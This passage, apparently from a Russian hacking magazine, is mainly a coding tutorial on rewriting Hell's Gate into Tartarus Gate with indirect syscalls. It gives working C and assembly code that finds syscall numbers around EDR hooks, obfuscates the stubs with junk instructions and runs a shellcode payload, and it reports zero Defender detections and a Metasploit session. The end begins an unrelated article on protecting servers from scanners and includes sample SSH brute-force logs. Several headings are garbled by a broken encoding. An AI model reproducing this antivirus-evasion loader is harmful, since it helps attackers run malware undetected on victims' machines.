if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;

// Получение таблицы экспортов


PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(
uModule + pImgNtHdrs->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pImgExpDir)
return FALSE;

// Инициализация всех элементов у глобальной переменной


g_NtdllConf.uModule = uModule;
g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames;
g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->
AddressOfNames);
g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->
AddressOfFunctions);
g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->
AddressOfNameOrdinals);

// Проверка
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !
g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !
g_NtdllConf.pwArrayOfOrdinals)
return FALSE;
else
return TRUE;
}

Саму функцию GetVxTableEntry() следует переименовать


в FetchNtSyscall(). Мы оставим всего два параметра: dwSysHash (хеш-зна-
чение от имени функции, которую нужно засисколить) и pNtSys — указатель
на структуру NT_SYSCALL, которая будет содержать всю необходимую
информацию для осуществления сискола.

typedef struct _NT_SYSCALL


{
DWORD dwSSn;
DWORD dwSyscallHash;
PVOID pSyscallAddress;

}NT_SYSCALL, *PNT_SYSCALL;

Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ

ПЕРЕПИСЫВАЕМ HELL’S GATE


И ОБХОДИМ АНТИВИРУС

Функцию InitNtdllConfigStructure() следует вызывать из функции


FetchNtSyscall(). Предлагаю просто проверять, инициализирован ли эле-
мент, содержащий базовый адрес загрузки ntdll.dll. Если нет, то вызыва-
ем функцию, если этот элемент уже имеет какое-то значение, то вызов
не требуется. Алгоритм для поиска сискола пока что не меняем.

BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {

if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}

if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;

for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {

PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule +


g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule +
g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);

if (HASH(pcFuncName) == dwSysHash) {

pNtSys->pSyscallAddress = pFuncAddress;

WORD cw = 0;

while (TRUE) {

...тут алгоритм поиска сискола...


}

cw++;
}

break;
}
}

// Если что-то не инициализировалось, то все плохо


if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL &&
pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}

ÈÇÌÅÍÅÍÈÅ ËÎÃÈÊÈ ÏÎÈÑÊÀ ÑÈÑÊÎËÀ

Hell’s Gate — один из простейших способов нахождения сискола. Проблема


в том, что он просто пробегает по памяти в одном направлении, пытаясь
обнаружить сискол. К сожалению, в современных реалиях этот вариант, мягко
говоря, не самый рабочий. Что мешает антивирусному продукту внести
некоторые изменения? Например, добавить лишнюю инструкцию, чтобы сло-
мать поиск Hell’s Gate.
Неизмененную последовательность без проблем получится обнаружить,
но если мы просто добавим лишние инструкции? Напомню, как выглядит пат-
терн, который ищет сискол.

0x4c 0x8b 0xd1 0xb8 ... 0x00 0x00

Неизмененный код

В х64dbg нагло тыкаем «Ассемблировать» и меняем одну инструкцию на дру-


гую.

Измененный код

0x4c 0x8b 0xd1 [ВОТ ТУТ ПОИСК ЛОМАЕТСЯ] 0xb9 ... 0x00 0x00

Теперь номер сискола достать не получится. Тем не менее не стоит отча-


иваться, так как проблема эта известная и умные люди придумали пути
решения — Halo’s Gate и Tartarus Gate. Оба этих алгоритма поиска номера
сискола основываются на том, что эти самые номера инкрементируются.
Если у одной функции номер сискола 1, то у следующей за ней номер 2.

Увеличивающиеся SSN

Таким образом, зная номер сискола одной функции, можно без проблем дос-
тать номера сисколов следующих за ней функций. Дополнительно в алгорит-
ме используется такая особенность: разница между сохраняющими номера
сисколов инструкциями составляет 32 бита (0x...F283 – 0x...F263 = 0x20).
Это значение хранится в переменных GoUp и GoDown соответственно.

Смещения адресов

С помощью этого алгоритма Halo’s Gate проверяет также наличие хука —


если встречается инструкция jmp, то хук явно присутствует, поэтому начина-
ется процедура получения номера нехукнутого сискола.

int GoUp -32;


int GoDown 32;
// Если первая инструкция — jmp
if (*((PBYTE)pFunctionAddress) == 0xe9) {
// Идем вверх и вниз в поиске номера сискола
for (WORD index = 1; index <= 500; index++) {
// Идем вниз, ищем паттерн
if (*((PBYTE)pFunctionAddress + index * GoDown) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + index * GoDown) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + index * GoDown) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + index * GoDown) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + index * GoDown) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + index * GoDown) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoDown);
BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoDown);
// Паттерн найден, заносим номер сискола
pVxTableEntry->wSystemCall = (high << 8) | low - index;
return TRUE;
}
// Идем вверх, ищем паттерн
if (*((PBYTE)pFunctionAddress + index * GoUp) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + index * GoUp) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + index * GoUp) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + index * GoUp) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + index * GoUp) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + index * GoUp) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoUp);
BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoUp);
// Паттерн найден, заносим номер сискола
pVxTableEntry->wSystemCall = (high << 8) | low + index;
return TRUE;
}
}

Не сказать, что идея неправильная. Думаю, вполне логично таким образом


проверять хуки. Тем не менее теория имеет изъяны: что, если инструкция jmp
стоит, скажем, после сохранения номера сискола? Либо просто где-то
до инструкции syscall? Например, следующий код пройдет проверку ска-
нирования памяти (нужные опкоды будут обнаружены), но номер сискола выч-
ленить не получится.

Пример умного хука

Поэтому был придуман Tartarus Gate. Этот алгоритм дополнительно проверя-


ет и последующий (четвертый) байт на наличие инструкции jmp. Если этот
байт равен e9, то выполняется стандартная процедура по алгоритму Halo’s
Gate с нахождением номера нехукнутого сискола и последующим восстанов-
лением всей цепочки.
Я предлагаю использовать Tartarus Gate в нашей функции
FetchNtSyscall() для вычленения номера сискола. В код функции добавит-
ся алгоритм Halo’s Gate и проверка следующего байта на наличие инструкции
jmp.

#define UP -32
#define DOWN 32
#define RANGE 500

...

BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {

if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}

if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;

for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++){

PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.


pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.
pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);

pNtSys->pSyscallAddress = pFuncAddress;

if (HASH(pcFuncName) == dwSysHash) {

if (*((PBYTE)pFuncAddress) == 0x4C
&& *((PBYTE)pFuncAddress + 1) == 0x8B
&& *((PBYTE)pFuncAddress + 2) == 0xD1
&& *((PBYTE)pFuncAddress + 3) == 0xB8
&& *((PBYTE)pFuncAddress + 6) == 0x00
&& *((PBYTE)pFuncAddress + 7) == 0x00) {

BYTE high = *((PBYTE)pFuncAddress + 5);


BYTE low = *((PBYTE)pFuncAddress + 4);
pNtSys->dwSSn = (high << 8) | low;
break;
}

// Halo’s Gate
if (*((PBYTE)pFuncAddress) == 0xE9) {

for (WORD idx = 1; idx <= RANGE; idx++) {


// Идем вниз
if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {

BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);


BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
pNtSys->dwSSn = (high << 8) | low - idx;
break;
}
// Идем вверх
if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {

BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);


BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
pNtSys->dwSSn = (high << 8) | low + idx;
break;
}
}
}

// Tartarus Gate
if (*((PBYTE)pFuncAddress + 3) == 0xE9) {

for (WORD idx = 1; idx <= RANGE; idx++) {


// Идем вниз
if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {

BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);


BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
pNtSys->dwSSn = (high << 8) | low - idx;
break;
}
// Идем вверх
if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {

BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);


BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
pNtSys->dwSSn = (high << 8) | low + idx;
break;
}
}
}
break;
}

if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL &&


pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}

ÈÇÌÅÍÅÍÈÅ ASM-ÔÀÉËÀ

В проекте Hell’s Gate присутствует и файл на ассемблере.

.data
wSystemCall DWORD 000h

.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP

HellDescent PROC
mov r10, rcx
mov eax, wSystemCall

syscall
ret
HellDescent ENDP
end

В функции HellsGate выполняется сохранение номера сискола, а в


HellsDescent — вызов нужной функции. В языке C к этим функциям можно
обратиться, объявив внешние функции (ключевое слово — extern).

extern VOID HellsGate(WORD wSystemCall);


extern HellDescent();

HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize,
MEM_COMMIT, PAGE_READWRITE);

Обрати внимание: если бы ты захотел переписать код на C++, то потребова-


лось бы изменить объявление функции HellDescent, так как в C++ каждая
функция должна иметь явное указание на то, что она возвращает.

extern VOID HellDescent();

Предлагаю добавить чуть-чуть обфускации, то есть разбавить эти ассемблер-


ные инструкции чем-нибудь еще. Сначала попробуем имена функций
HellsGate и HellsDescent заменить SetSSn и RunSyscall.

.data
wSystemCall DWORD 0000h

.code

SetSSn PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
SetSSn ENDP

RunSyscall PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
RunSyscall ENDP

end

Теперь нужно внести изменения, которые никак не отразятся на логике


выполнения программы. Добавим парочку «мусорных» инструкций.

.data
wSystemCall DWORD 0000h

.code

SetSSn PROC
xor eax, eax ; eax = 0
mov wSystemCall, eax ; wSystemCall = 0
mov eax, ecx ; eax = ssn
mov r8d, eax ; r8d = eax = ssn
mov wSystemCall, r8d ; wSystemCall = r8d = eax =
ssn
ret
SetSSn ENDP

RunSyscall PROC
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, wSystemCall ; eax = ssn
jmp Run ; goto 'Run'
xor eax, eax ; no run
xor rcx, rcx ; no run
shl r10, 2 ; no run
Run:
syscall
ret
RunSyscall ENDP

end

Итак, в функции SetSSn сначала мы ксорим регистры друг с другом, что при-
водит к обнулению находящегося в них значения. Полученное значение
записываем в переменную, которая будет содержать номер сискола, переки-
дываем из одного регистра в другой и, наконец, записываем нужный SSN
в переменную.
Функция RunSyscall особо ничем не отличается — в ней лишь была
добавлена метка.

ÏÐÅÄÂÀÐÈÒÅËÜÍÛÉ ÐÅÇÓËÜÒÀÒ

У нас почти все готово: алгоритм переписан, хеши сгенерированы, ассем-


блерный код слабенько, но обфусцирован. Остается лишь исправить пос-
ледние структуры. В Hell’s Gate есть таблица VX_TABLE, которая содержит
структуры функций VX_TABLE_ENTRY. Их нужно засисколить. Так
как VX_TABLE_ENTRY мы уже изменили, осталось лишь переписать саму
VX_TABLE.

typedef struct _NTAPI_FUNC


{
NT_SYSCALL NtAllocateVirtualMemory;
NT_SYSCALL NtProtectVirtualMemory;
NT_SYSCALL NtCreateThreadEx;
NT_SYSCALL NtWaitForSingleObject;

}NTAPI_FUNC, *PNTAPI_FUNC;

// Глобальная переменная
NTAPI_FUNC g_Nt = { 0 };

Инициализацию этой структуры вновь выносим в отдельную функцию


InitializeNtSyscalls().

BOOL InitializeNtSyscalls() {

if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.
NtAllocateVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtAllocateVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.
2X \n", g_Nt.NtAllocateVirtualMemory.dwSSn);

if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.
NtProtectVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtProtectVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.
2X \n", g_Nt.NtProtectVirtualMemory.dwSSn);

if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.
NtCreateThreadEx)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtCreateThreadEx \n");
return FALSE;
}
printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n",
g_Nt.NtCreateThreadEx.dwSSn);

if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.
NtWaitForSingleObject)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtWaitForSingleObject \n");
return FALSE;
}
printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X
\n", g_Nt.NtWaitForSingleObject.dwSSn);

return TRUE;
}

Здесь NtAllocateVirtualMemory_CRC32, NtProtectVirtualMemory_CRC32


и тому подобные — значения, которые были сгенерированы ранее
с помощью программы-хешера.
В результате наших манипуляций главная функция main() приобретает
следующий вид.

int main() {

NTSTATUS STATUS = NULL;


PVOID pAddress = NULL;
SIZE_T sSize = sizeof(Payload);
DWORD dwOld = NULL;
HANDLE hProcess = (HANDLE)-1, // Текущий процесс
hThread = NULL;

if (!InitializeNtSyscalls()) {
printf("[!] Failed To Initialize The Specified
Direct-Syscalls \n");
return -1;
}

SetSSn(g_Nt.NtAllocateVirtualMemory.dwSSn);
if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress ==
NULL) {
printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.
8X \n", STATUS);
return -1;
}

memcpy(pAddress, Payload, sizeof(Payload));


sSize = sizeof(Payload);

SetSSn(g_Nt.NtProtectVirtualMemory.dwSSn);
if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize,
PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
printf("[!] NtProtectVirtualMemory Failed With Error: 0x%0.
8X \n", STATUS);
return -1;
}

SetSSn(g_Nt.NtCreateThreadEx.dwSSn);
if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL,
hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
printf("[!] NtCreateThreadEx Failed With Error: 0x%0.8X \n",
STATUS);
return -1;
}

SetSSn(g_Nt.NtWaitForSingleObject.dwSSn);
if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X
\n", STATUS);
return -1;
}

printf("[#] Press <Enter> To Quit ... ");


getchar();

return 0;
}

Метод выполнения шелл-кода я не менял, оставил стандартный


NtCreateThreadEx(). Итак, пора проверять на антивирусах!

Defender 0 Detect

Результат не может не радовать. Теперь изменяем шелл-код, будем запус-


кать Metasploit.

Успешный обход

Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ

ПЕРЕПИСЫВАЕМ HELL’S GATE


И ОБХОДИМ АНТИВИРУС

Выполнение команд

ÏÐÅÂÐÀÙÅÍÈÅ Â INDIRECT SYSCALL

Убедившись, что наше чудо работает, приведем его к окончательному виду.


То, что мы создали, называется Direct Syscall — вызов сискола путем вставки
в код программы инструкции syscall. Такой метод самую малость шумноват,
так как инструкция syscall нехарактерна для обычных исполняемых файлов.
По умолчанию эта инструкция присутствует только в файле ntdll.dll.
Поэтому предлагаю переделать нашу программу под Indirect Syscalls. Реали-
зация через косвенные вызовы заключается в том, что в нашем коде будет
отсутствовать вызов инструкции syscall. Вместо этого мы собственноручно
обнаружим адрес этой инструкции в ntdll.dll, а затем обратимся к нему,
что спровоцирует вызов и переход в Kernel Mode.
Сначала изменяем структуру NT_SYSCALL, теперь в ней еще будет лежать
и адрес инструкции syscall.

typedef struct _NT_SYSCALL


{
DWORD dwSSn;
DWORD dwSyscallHash;
PVOID pSyscallAddress;
PVOID pSyscallInstAddress; // Адрес будет вот тут

}NT_SYSCALL, * PNT_SYSCALL;

Следующим шагом изменим функцию FetchNtSyscall(), добавив в нее воз-


можность поиска адреса инструкции syscall в адресном пространстве
ntdll.dll. Поиск вновь делаем по паттернам в памяти. Нам требуется найти
0x0f и 0x05, что соответствует нужной инструкции.

Опкоды инструкции syscall

Для поиска предлагаю использовать алгоритм по добавлению к адресу фун-


кции в ntdll значения 0xFF. Этот адрес, если что, на момент поиска инструк-
ции syscall будет лежать в pSyscallAddress.

#define RANGE 500

...
ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress +
0xFF;

for (DWORD z = 0, x = 1; z <= RANGE; z++, x++) {


if (*((PBYTE)uFuncAddress + z) == 0x0F && *((PBYTE)
uFuncAddress + x) == 0x05) {
pNtSys->pSyscallInstAddress = ((ULONG_PTR)uFuncAddress +
z);
break;
}
}

Этот код добавляем в конец функции FetchNtSyscalls().

#define RANGE 500


BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}

if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;

for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {


...
}

if (!pNtSys->pSyscallAddress)
return FALSE;
ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress +
0xFF;

for (DWORD z = 0, x = 1; z <= RANGE; z++, x++) {


if (*((PBYTE)uFuncAddress + z) == 0x0F && *((PBYTE)
uFuncAddress + x) == 0x05) {
pNtSys->pSyscallInstAddress = ((ULONG_PTR)uFuncAddress +
z);
break;
}
}

if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL &&


pNtSys->dwSyscallHash != NULL && pNtSys->pSyscallInstAddress != NULL)
return TRUE;
else
return FALSE;

Затем следует изменить ассемблерный код, а именно функции SetSSn


и RunSyscall. Раньше SetSSn требовал только SSN системного вызова,
а затем использовал RunSyscall для его выполнения. Теперь в SetSSn
передается еще и значение qSyscallInsAdress — адрес инструкции
syscall.
Из регистров ecx и rdx, которые инициализируются при вызове функции,
копируются номер сискола и адрес. А затем в функции RunSyscall() мы
заносим номера сискола в реестр eax и переходим по адресу инструкции
syscall, что приводит к выполнению Indirect-сискола.

.data

wSystemCall DWORD 0h
qSyscallInsAdress QWORD 0h

.code

SetSSn PROC
mov wSystemCall, 0h
mov qSyscallInsAdress, 0h
mov wSystemCall, ecx
mov qSyscallInsAdress, rdx
ret
SetSSn ENDP

RunSyscall PROC
mov r10, rcx
mov eax, wSystemCall
jmp qword ptr [qSyscallInsAdress]
ret
RunSyscall ENDP

end

Ну и чуть-чуть обфусцируем наше творение.

.data
wSystemCall DWORD 0h
qSyscallInsAdress QWORD 0h

.code
SetSSn proc
xor eax, eax ; eax = 0
mov wSystemCall, eax ; wSystemCall = 0
mov qSyscallInsAdress, rax ; qSyscallInsAdress = 0
mov eax, ecx ; eax = ssn
mov wSystemCall, eax ; wSystemCall = eax =
ssn
mov r8, rdx ; r8 =
AddressOfASyscallInst
mov qSyscallInsAdress, r8 ; qSyscallInsAdress =
r8 = AddressOfASyscallInst
ret
SetSSn endp

RunSyscall proc
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, wSystemCall ; eax = ssn
jmp Run
xor eax, eax ; wont run
xor rcx, rcx ; wont run
shl r10, 2 ; wont run
Run:
jmp qword ptr [qSyscallInsAdress]
xor r10, r10 ; r10 = 0
mov qSyscallInsAdress, r10 ; qSyscallInsAdress = 0
ret
RunSyscall endp

end

Чтобы каждый раз не указывать элементы структуры NT_SYSCALL, можно


написать макрос, который автоматически дернет SetSSn с нужными парамет-
рами, если ему передадут экземпляр структуры.

#define SET_SYSCALL(NtSys)(SetSSn((DWORD)NtSys.dwSSn,(PVOID)NtSys.
pSyscallInstAddress))

В результате получаем элегантный кусок кода.

NT_SYSCALL NtAllocateVirtualMemory = { 0 };
FetchNtSyscall(NtAllocateVirtualMemory_Hash, &NtAllocateVirtualMemory
);

SET_SYSCALL(NtAllocateVirtualMemory);
RunSyscall(/* параметры для NtAllocateVirtualMemory */);

Все нужные функции будут по-прежнему храниться в структуре NTAPI_FUNC,


надо лишь чуть поправить инициализирующую функцию
InitializeNtSyscalls().

BOOL InitializeNtSyscalls() {

if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.
NtAllocateVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtAllocateVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.
2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n",
g_Nt.NtAllocateVirtualMemory.dwSSn, g_Nt.NtAllocateVirtualMemory.
pSyscallInstAddress);

if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.
NtProtectVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtProtectVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.
2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n",
g_Nt.NtProtectVirtualMemory.dwSSn, g_Nt.NtProtectVirtualMemory.
pSyscallInstAddress);

if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.
NtCreateThreadEx)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtCreateThreadEx \n");
return FALSE;
}
printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n\t\
t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.
NtCreateThreadEx.dwSSn, g_Nt.NtCreateThreadEx.pSyscallInstAddress);

if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.
NtWaitForSingleObject)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtWaitForSingleObject \n");
return FALSE;
}
printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X
\n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.
NtWaitForSingleObject.dwSSn, g_Nt.NtWaitForSingleObject.
pSyscallInstAddress);

return TRUE;
}

И финальное — main():

int main() {

NTSTATUS STATUS = NULL;


PVOID pAddress = NULL;
SIZE_T sSize = sizeof(Payload);
DWORD dwOld = NULL;
HANDLE hProcess = (HANDLE)-1,
hThread = NULL;

if (!InitializeNtSyscalls()) {
printf("[!] Failed To Initialize The Specified
Indirect-Syscalls \n");
return -1;
}

SET_SYSCALL(g_Nt.NtAllocateVirtualMemory);
if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress ==
NULL) {
printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.
8X \n", STATUS);
return -1;
}

memcpy(pAddress, Payload, sizeof(Payload));


sSize = sizeof(Payload);

SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize,
PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
printf("[!] NtProtectVirtualMemory Failed With Status : 0x%0.
8X\n", STATUS);
return -1;
}

SET_SYSCALL(g_Nt.NtCreateThreadEx);
if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL,
hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
printf("[!] NtCreateThreadEx Failed With Status : 0x%0.8X\n",
STATUS);
return -1;
}

SET_SYSCALL(g_Nt.NtWaitForSingleObject);
if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X
\n", STATUS);
return -1;
}

printf("[#] Press <Enter> To Quit ... ");


getchar();

return 0;
}

ÔÈÍÀËÜÍÛÉ ÂÀÐÈÀÍÒ

Итак, проект был переписан под Indirect-сисколы, ассемблерный листинг


обфусцирован, логика поиска улучшена. Само собой, этот вариант станет
еще более незаметным и скрытым от антивирусных программ!

Результаты сканирования на VT

Defender молчит

Поздравляю, мы добились желаемого результата!


АДМИН

ЗАЩИЩАЕМ ПЕРИМЕТР
ОТ СКАНЕРОВ И БОТОВ

Давно прошли времена травоядного


интернета, когда машина, светящая неп-
рикрытым сетевым стеком на белом адре-
се, имела хорошие шансы жить годами,
а слово CVE знала лишь кучка специалис- xak745
i@brumbad.ru
тов. Статистика говорит, что до момента,
пока анонимный разум нащупает неос-
торожно открытый порт Telnet, пройдет око-
ло двух минут, Redis — шесть минут, веб
на 8080 — двенадцать, а Android Debug
Bridge — двадцать.

И парни с той стороны, конечно, не просто собирают данные для диссерта-


ции. Чтобы в этом убедиться, достаточно открыть SSH и посмотреть, как в
течение получаса в твой порт набьется целая команда специалистов по чужой
безопасности, генерирующих записи вроде таких:

sshd[198760]: Failed password for www-data from 82.154.230.131 port


65229 ssh2

sshd[198760]: Received disconnect from 82.154.230.131 port 65229:11: Bye


Bye [preauth]

sshd[198760]: Disconnected from authenticating user www-data


82.154.230.131 port 65229 [preauth]

sshd[198766]: Invalid user bkp from 103.152.18.138 port 51314

sshd[198766]: pam_unix(sshd:auth): check pass; user unknown

sshd[198766]: pam_unix(sshd:auth): authentication failure; logname=


uid=0 euid=0 tty=ssh ruser= rhost=103.152.18.138

sshd[198766]: Failed password for invalid user bkp from 103.152.18.138


port 51314 ssh2

Не надо быть сотрудником ИБ-отдела, чтобы догадаться, какие именно


исследования проводят эти граждане. И избавиться от их назойливого вни-
мания достаточно сложно. Уж если вцепились, то к процессу будут подклю-
чаться всё новые и новые адреса, и вот уже кажется, что весь интернет сидит
и подбирает пароли к твоей машине.
Если говорить языком цифр, то за час любой адрес IPv4 (даже не отве-
чающий вообще ни на что) опрашивается более 300 раз с полутора сотен
источников. За месяц будут опрошены все порты до одного, за две недели —
65 000, а за неделю — 63 000. В общем, «небольшой», но многочисленный
брат еще как следит.
Учитывая, что, даже если инфраструктуру твоей компании обслуживает
команда опытных специалистов, которые быстро и решительно накатывают
свежие обновления, не запускают «на пять минут» какую-нибудь службу
(которая потом висит годами) и не выкладывают по-быстрому файлики
для субподрядчиков (ну кто там его найдет на нашем секретном порте, хе-хе),
все равно остается неустранимое «окно уязвимости».
Эксплоит уже в работе, а разработчики еще тестируют патч, а потом поль-
зователи его раскатывают — пока все это провернется, атакующая сторона,
имея предварительно собранную базу отпечатков, быстро и точно по ним
отработает. А то и просто воспользуется поисковиками интернета вещей,
которые раздают доступ к такой информации через API за весьма скромное
